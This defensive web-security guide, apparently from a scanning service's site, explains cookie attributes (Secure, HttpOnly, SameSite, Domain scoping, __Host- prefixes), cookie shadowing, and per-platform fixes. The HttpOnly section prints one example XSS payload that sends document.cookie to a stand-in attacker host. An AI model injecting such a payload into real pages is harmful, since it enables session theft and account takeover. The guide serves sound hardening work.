"Cookie Security Explained: Secure, HttpOnly, SameSite and the __Host- Prefix"

Cookies carry the keys to almost every web application: session identifiers, CSRF tokens, OAuth state, "remember me" tokens. They are also the only widely-understood HTTP mechanism whose security attributes are set one flag at a time, in half a dozen places — application code, framework config, reverse proxy, analytics snippets — so it's routine for a session cookie to launch with HttpOnly and lose it three refactors later. Unlike most vulnerabilities, missing cookie flags produce no errors, no failed requests, no console warnings. The cookie just works — less safely.

This guide covers each attribute in the order an attacker encounters it, the realistic attack each one forecloses, and the subtle behaviors (Domain scoping, name prefixes, cookie jar overwriting) that security scans flag but most developers have never had explained. The free security scan audits every cookie your site sets — flags, scoping, session-cookie heuristics and prefix conformance — and reports per-cookie findings.

Table of contents

  1. Secure: keep the cookie off plaintext networks
  2. HttpOnly: the XSS barrier
  3. SameSite: the CSRF fence
  4. Domain scoping: the subdomain problem
  5. __Host- and __Secure-: browser-enforced intent
  6. Overwriting and shadowing attacks
  7. Fixes per platform
  8. Frequently asked questions

Secure: keep the cookie off plaintext networks

Secure means the browser sends this cookie only over HTTPS. Without it, every transmission opportunity is fair game — and plaintext transmission opportunities are more common than teams expect: a user typing http://example.com before your redirect fires, an intercepted first request on hostile Wi-Fi (the gap HSTS closes — see the TLS guide), any redirect hop that briefly touches HTTP.

The attack is passive, not exotic: an attacker on the same network segment (café Wi-Fi, compromised router, office NAT) records traffic and harvests session cookies from any HTTP request. With Secure set, the cookie simply never appears on those requests — the browser withholds it. This is why the flag is graded as a Medium finding on HTTPS sites: the site itself is encrypted, but any HTTP exposure of the session ID undoes that for the attacker's purposes, because session theft only needs to succeed once.

One nuance the scan checks for: Secure on a cookie set over plain HTTP is a contradiction — browsers ignore Secure on non-secure origins, so the "protection" is absent exactly where it matters. The finding there isn't the flag; it's the HTTP origin itself.

HttpOnly: the XSS barrier

HttpOnly removes the cookie from JavaScript's view: document.cookie doesn't include it, and neither does anything else in the JS environment. The attack it forecloses is the most common endgame of XSS — session exfiltration:

// attacker's injected script, without HttpOnly
fetch("https://evil.example/collect?c=" + encodeURIComponent(document.cookie));

An XSS bug in your app becomes an account-takeover pipeline when the session cookie is readable. With HttpOnly set, the injected script still runs — XSS itself is not fixed — but the prize is gone: the payload can't lift the session token, so the attacker must work much harder (full page overlays to phish re-entry, keylogging, CSRF-driven actions with limited lifetimes). That's why HttpOnly is the standard recommendation for session cookies specifically: it doesn't make XSS harmless, it removes XSS's highest-value target.

The scan applies the same judgment: HttpOnly is required on session-like cookies (session, sid, token, auth, jwt, CSRF tokens, framework defaults like PHPSESSID/JSESSIONID/connect.sid), while pure-preference or analytics cookies are exempt — there's no reason to expose them to JS either, but the security stakes differ by orders of magnitude.

SameSite: the CSRF fence

SameSite controls whether the cookie travels on cross-site requests. Three values:

  • Strict — never sent cross-site, even for top-level navigations. Strongest; but it has a UX cost: following an external link into your app lands the user logged out (the cookie wasn't sent on the navigation), until they interact and make a same-site request.
  • Lax — sent on top-level safe navigations (clicking a link to your site), withheld on cross-site subrequests and form POSTs. This is the browser default since 2020 for exactly this reason: it kills the classic CSRF payloads (auto-submitting cross-site forms, image-tag-triggered GETs) while keeping normal link-following logged-in.
  • None — always sent, the pre-2020 default. Legitimate for embedded cross-site contexts (payment widgets, SSO frames) — but the spec requires Secure with it, and it means CSRF protection must come from tokens, not cookies.

What SameSite=Lax (or Strict) actually buys you is a structural CSRF defense: the cross-site POST that transfers funds doesn't carry the session cookie, so the server sees an unauthenticated request. It doesn't cover everything — GET-initiated state changes still ride along under Lax, and embedded integrations opt back into exposure with None — which is why the standard guidance is SameSite=Lax plus CSRF tokens on mutating endpoints, with SameSite shrinking the attack surface and tokens as the explicit check.

The scan flags session-like cookies that lack SameSite (Low severity — the browser default now does some of the work, but explicit is better than ambient default, and older embedded browsers predate the Chrome 80 rollout).

Domain scoping: the subdomain problem

The Domain attribute is the least understood and, in the wrong configuration, the highest-severity cookie issue. The rules:

  • No Domain attribute → the cookie is host-only: set and sent for exactly the host that set it. Set-Cookie: sid=... from app.example.com goes nowhere else.
  • Domain=example.com → the cookie becomes a domain cookie: sent to example.com and every subdomain — api.example.com, staging.example.com, broken-legacy-2021.example.com.

That second behavior is the vulnerability. Web architecture treats subdomains as lower trust than the registrable domain: any subdomain can set cookies scoped to the parent, which means Domain=example.com on your session cookie makes your session validity depend on the least-compromisable subdomain you own. A forgotten marketing site, a dev instance with ancient dependencies, a third-party-hosted promo.example.com — a cookie stolen or a session fixed (injection) at that subdomain is valid at your apex and everywhere else.

The extreme cases are reserved names and TLD-level scope, which browsers partly refuse but sloppy code still emits: Domain=.com or a two-letter TLD scope would (if accepted) hand the cookie to millions of unrelated sites — the scan grades these High precisely because they indicate the Domain attribute is being set programmatically from unvalidated input.

Practical scoping guidance:

  1. Default to host-only (omit Domain entirely) for session cookies. Cross-subdomain SSO is the exception that justifies a domain cookie — and if you need it, you are accepting that every subdomain is inside the trust boundary.
  2. Never build Domain dynamically from request headers (an attacker-controlled Host header has fed TLD-scoped cookies more than once).
  3. Audit for overlap: a host-only cookie and a domain cookie with the same name coexist in the jar and are sent in an undefined order — a shadowing risk covered below.

__Host- and __Secure-: browser-enforced intent

Cookie attributes are advisory to the server — the browser stores whatever you send, flags and all. The reserved name prefixes (RFC 6265bis) flip that: they make the browser refuse to store a cookie whose name promises security the attributes don't deliver.

  • __Host-sid — must be Secure, must have Path=/, and must have no Domain attribute (host-only, by construction). The promise: this cookie belongs to exactly this host, over HTTPS, site-wide. Session cookies are the canonical use.
  • __Secure-sid — must be Secure. The lighter-weight promise.
# The gold standard for a session cookie:
Set-Cookie: __Host-sid=abc123; Secure; HttpOnly; SameSite=Lax; Path=/

The failure mode is silent and nasty: a Set-Cookie: __Host-sid=... that violates any rule is not downgraded — it is discarded. The cookie never exists, and nothing in your logs says so; the user just isn't logged in, or a fallback code path sets a weaker, unprefixed cookie instead. The scan detects prefixed cookies that violate their own prefixes (High severity) because it means the intended protection is silently absent — and because discovering it via "customers can't stay logged in on Safari only" is an expensive way to learn RFC 6265bis.

Overwriting and shadowing attacks

Cookie jars are keyed by (name, domain, path) — three cookies named sid can coexist: one host-only, one Domain=example.com, one Path=/admin. When several match a request, the browser sends all of them, most-specific-path first, in order.

This enables cookie shadowing: an attacker (or a buggy subdomain, or an over-eager analytics snippet) sets a second sid — often via a subdomain's ability to write domain cookies, or via document.cookie on a page where the real session cookie lacks HttpOnly. Now the server must decide which sid authenticates the request, and many frameworks (PHP historically, various session libs) take the first or the last without saying which. If it's the attacker's cookie, you've got session fixation: the victim authenticates into a session the attacker already knows.

Defenses, in order of effectiveness: HttpOnly (kills the JS-write path), host-only scope (kills cross-subdomain injection), __Host- prefix (browser-enforced both), and server-side session binding (regenerate IDs on login; bind to a signed value, not a bare client-supplied token).

Fixes per platform

Express / Node:

app.use(
  session({
    name: "__Host-sid",
    secret: process.env.SESSION_SECRET,
    cookie: {
      secure: true,          // Secure
      httpOnly: true,        // HttpOnly
      sameSite: "lax",       // SameSite
      path: "/",             // required by __Host-
      // no `domain` — host-only by default
      maxAge: 1000 * 60 * 60 * 8,
    },
  })
);

PHP:

; php.ini
session.cookie_secure = 1
session.cookie_httponly = 1
session.cookie_samesite = Lax
session.cookie_path = /
; leave session.cookie_domain empty (host-only)

Django:

SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = "Lax"
# SESSION_COOKIE_DOMAIN unset → host-only
CSRF_COOKIE_SECURE = True

nginx (adding flags to cookies set upstream — use with care; prefer fixing at the source):

proxy_cookie_flags ~ secure samesite=strict;
# or per-cookie: proxy_cookie_flags __Host-sid secure samesite=strict;

Plain header:

Set-Cookie: __Host-remotedaemon_session=...; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=86400

And the audit rule of thumb the scan applies: every cookie should have Secure; session-like cookies additionally need HttpOnly and SameSite; nothing anywhere should carry a Domain attribute you didn't consciously choose.

Frequently asked questions

Does HttpOnly stop XSS?

No — it removes the session theft payout of XSS. The injected script still runs. Fix the XSS; use HttpOnly so its blast radius doesn't include account takeover.

Should every cookie have HttpOnly?

Everything that JS doesn't need to read — which is almost everything, analytics client-side state being the main legitimate exception. The scan requires it only on session-like cookies, because that's where the stakes justify the finding.

SameSite=Lax vs Strict — which for my session cookie?

Lax for typical apps (keeps inbound links logged-in); Strict when the app has no need to be logged-in on cold navigation (admin panels, internal tools). Both need CSRF tokens on mutating GETs if you have any.

Why is my __Host- cookie silently disappearing?

The prefix rules are enforced by the browser on store: missing Secure, missing Path=/, or a present Domain attribute all void the cookie. Inspect DevTools → Application → Cookies — a rejected cookie simply never appears.

I set Domain=example.com "to make login work across subdomains" — is that wrong?

It's a legitimate trade-off if you need cross-subdomain sessions, but understand what it means: every subdomain you will ever run is now inside your session trust boundary. Host-only cookies + a deliberate SSO mechanism is the more defensible design.

Can cookies be stolen without XSS or plaintext network access?

Via subdomain compromise (domain-scoped cookies), via shadowing (see above), and via referer leakage in exotic cases. Cookie flags address each; none of them defend a compromised first-party origin.


Run the free security scan to audit every cookie your site sets — flags, scope, prefixes and session heuristics — in one pass with TLS, headers and CORS.